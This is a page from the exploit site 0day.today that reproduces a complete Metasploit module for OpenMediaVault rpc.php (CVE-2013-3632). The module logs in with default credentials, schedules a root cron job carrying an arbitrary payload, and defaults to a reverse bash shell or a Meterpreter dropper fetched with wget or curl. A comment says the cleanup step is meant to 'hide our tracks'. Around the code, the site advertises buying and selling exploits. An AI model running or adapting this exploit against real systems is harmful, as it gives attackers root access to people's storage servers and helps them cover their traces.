0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
OpenMediaVault rpc.php Authenticated Cron Remote Code Execution Exploit
Author
Risk
[
Security Risk Critical
]0day-ID
Category
Date add
CVE
Platform
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::Deprecated moved_from 'exploit/multi/http/openmediavault_cmd_exec' def initialize(info = {}) super( update_info( info, 'Name' => 'OpenMediaVault rpc.php Authenticated Cron Remote Code Execution', 'Description' => %q{ OpenMediaVault allows an authenticated user to create cron jobs as root on the system. An attacker can abuse this by sending a POST request via rpc.php to schedule and execute a cron entry that runs arbitrary commands as root on the system. All OpenMediaVault versions including the latest release 7.4.2-2 are vulnerable. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Msf module contributor 'Brandon Perry <bperry.volatile[at]gmail.com>' # Original discovery and first msf module ], 'References' => [ ['CVE', '2013-3632'], ['PACKETSTORM', '178526'], ['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats'], ['URL', 'https://attackerkb.com/topics/zl1kmXbAce/cve-2013-3632'] ], 'DisclosureDate' => '2013-10-30', 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64], 'Privileged' => true, 'Targets' => [ [ 'Unix Command', { 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Linux Dropper', { 'Platform' => ['linux'], 'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64], 'Type' => :linux_dropper, 'CmdStagerFlavor' => ['wget', 'curl'], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'WfsDelay' => 65 # wait at least one minute for session to allow cron to execute the payload }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The URI path of the OpenMediaVault web application', '/']), OptString.new('USERNAME', [true, 'The OpenMediaVault username to authenticate with', 'admin']), OptString.new('PASSWORD', [true, 'The OpenMediaVault password to authenticate with', 'openmediavault']), OptBool.new('PERSISTENT', [true, 'Keep the payload persistent in Cron. Default value is false, where the payload is removed', false]) ] ) end def user datastore['USERNAME'] end def pass datastore['PASSWORD'] end def rpc_success?(res) res&.code == 200 && res.body.include?('"error":null') end def login(user, pass) print_status("#{peer} - Authenticating with OpenMediaVault using credentials #{user}:#{pass}") # try the login options for all OpenMediaVault versions res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'rpc.php'), 'method' => 'POST', 'keep_cookies' => true, 'ctype' => 'application/json', 'data' => { service: 'Session', method: 'login', params: { username: user, password: pass }, options: nil }.to_json }) unless res&.code == 200 && res.body.include?('"authenticated":true') res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'rpc.php'), 'method' => 'POST', 'keep_cookies' => true, 'ctype' => 'application/json', 'data' => { service: 'Authentication', method: 'login', params: { username: user, password: pass } }.to_json }) end unless res&.code == 200 && res.body.include?('"authenticated":true') res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'rpc.php'), 'method' => 'POST', 'keep_cookies' => true, 'ctype' => 'application/json', 'data' => { service: 'Authentication', method: 'login', params: [ { username: user, password: pass } ] }.to_json }) return res&.code == 200 && res.body.include?('"authenticated":true') end true end def check_target print_status('Trying to detect if target is running a vulnerable version of OpenMediaVault.') res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'rpc.php'), 'method' => 'POST', 'keep_cookies' => true, 'ctype' => 'application/json', 'data' => { service: 'System', method: 'getInformation', params: nil }.to_json }) return nil unless rpc_success?(res) res end def check_version(res) # parse json response and get the version res_json = res.get_json_document unless res_json.blank? # OpenMediaVault v0.3 - v0.5 and up to v4 have different json formats where index 1 has the version information version = res_json.dig('response', 1, 'value') version = res_json.dig('response', 'version') if version.nil? version = res_json.dig('response', 'data', 1, 'value') if version.nil? return Rex::Version.new(version.split('(')[0].gsub(/[[:space:]]/, '')) unless version.nil? || version.split('(')[0].nil? end nil end def apply_config_changes # Apply OpenMediaVault configuration changes send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'rpc.php'), 'method' => 'POST', 'ctype' => 'application/json', 'keep_cookies' => true, 'data' => { service: 'Config', method: 'applyChangesBg', params: { modules: [], force: false }, options: nil }.to_json }) end def execute_command(cmd, _opts = {}) # OpenMediaFault current release - v6.0.15-1 uses an array definition ['*'] # OpenMediaVault v3.0.16 - v6.0.14-1 uses a string definition '*' # OpenMediaVault v1.0.22 - v3.0.15 uses a string definition '*' and uuid setting 'undefined' # OpenMediaVault v0.2.6.4 - v1.0.31 uses a string definition '*' and uuid setting 'undefined' and no execution parameter # OpenMediaVault < v0.2.6.4 uses a string definition '*' and uuid setting 'undefined', no execution parameter and no everyN parameters schedule = @version_number >= Rex::Version.new('6.0.15-1') ? ['*'] : '*' uuid = @version_number <= Rex::Version.new('3.0.15') ? 'undefined' : 'fa4b1c66-ef79-11e5-87a0-0002b3a176b4' if @version_number > Rex::Version.new('1.0.32') post_data = { service: 'Cron', method: 'set', params: { uuid: uuid, enable: true, execution: 'exactly', minute: schedule, everynminute: false, hour: schedule, everynhour: false, dayofmonth: schedule, everyndayofmonth: false, month: schedule, dayofweek: schedule, username: 'root', command: cmd.to_s, # payload sendemail: false, comment: '', type: 'userdefined' }, options: nil }.to_json elsif @version_number >= Rex::Version.new('0.2.6.4') post_data = { service: 'Cron', method: 'set', params: { uuid: uuid, enable: true, minute: schedule, everynminute: false, hour: schedule, everynhour: false, dayofmonth: schedule, everyndayofmonth: false, month: schedule, dayofweek: schedule, username: 'root', command: cmd.to_s, # payload sendemail: false, comment: '', type: 'userdefined' } }.to_json else post_data = { service: 'Cron', method: 'set', params: [ { uuid: uuid, minute: schedule, hour: schedule, dayofmonth: schedule, month: schedule, dayofweek: schedule, username: 'root', command: cmd.to_s, # payload comment: '', type: 'userdefined' } ] }.to_json end res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'rpc.php'), 'method' => 'POST', 'ctype' => 'application/json', 'keep_cookies' => true, 'data' => post_data }) fail_with(Failure::Unknown, 'Cannot access cron services to schedule payload execution.') unless rpc_success?(res) # parse json response and get the uuid of the cron entry # we need this later to clean up and hide our tracks res_json = res.get_json_document @cron_uuid = res_json.dig('response', 'uuid') || '' # In early versions up to 0.4.x cron uuid does not get returned so try an extra query to get it if @cron_uuid.blank? if @version_number >= Rex::Version.new('0.2.6.4') method = 'getList' else method = 'getListByType' end post_data = { service: 'Cron', method: method, params: { start: 0, limit: -1, sortfield: nil, sortdir: nil, type: ['userdefined'] } }.to_json res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'rpc.php'), 'method' => 'POST', 'ctype' => 'application/json', 'keep_cookies' => true, 'data' => post_data }) res_json = res.get_json_document # get total list of entries and pick the last one index = res_json.dig('response', 'total') @cron_uuid = res_json.dig('response', 'data', index - 1, 'uuid') || '' end # Apply and update cron configuration to trigger payload execution (1 minute) # In early releases, you do not have to apply the changes, but the exact release change is unknown, so we always apply apply_config_changes print_status('Cron payload execution triggered. Wait at least 1 minute for the session to be established.') end def on_new_session(_session) # try to cleanup cron entry in OpenMediaVault unless PERSISTENT option is true unless datastore['PERSISTENT'] res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'rpc.php'), 'method' => 'POST', 'ctype' => 'application/json', 'keep_cookies' => true, 'data' => { service: 'Cron', method: 'delete', params: { uuid: @cron_uuid.to_s } # options: nil }.to_json }) if rpc_success?(res) # Apply changes and update cron configuration to remove the payload entry # In early releases, you do not have to apply the changes, but the exact release change is unknown, so we always apply apply_config_changes print_good('Cron payload entry successfully removed.') else print_warning('Cannot access the cron services to remove the payload entry. If required, remove the entry manually.') end end super end def check @logged_in = login(user, pass) return CheckCode::Unknown('Failed to authenticate at OpenMediaVault.') unless @logged_in res = check_target return CheckCode::Unknown('Can not identify target as OpenMediaVault.') if res.nil? @version_number = check_version(res) return CheckCode::Detected('Can not retrieve the version information.') if @version_number.nil? return CheckCode::Appears("Version #{@version_number}") if @version_number.between?(Rex::Version.new('0.1'), Rex::Version.new('7.4.2-2')) CheckCode::Detected("Version #{@version_number}") end def exploit unless @logged_in if login(user, pass) res = check_target fail_with(Failure::Unknown, 'Can not identify target as OpenMediaVault.') if res.nil? @version_number = check_version(res) if @version_number.nil? print_status('Can not retrieve version information. Continue anyway...') else print_status("Version #{@version_number} detected.") end else fail_with(Failure::NoAccess, 'Failed to authenticate at OpenMediaVault.') end end print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager end end end # 0day.today [2024-09-17] #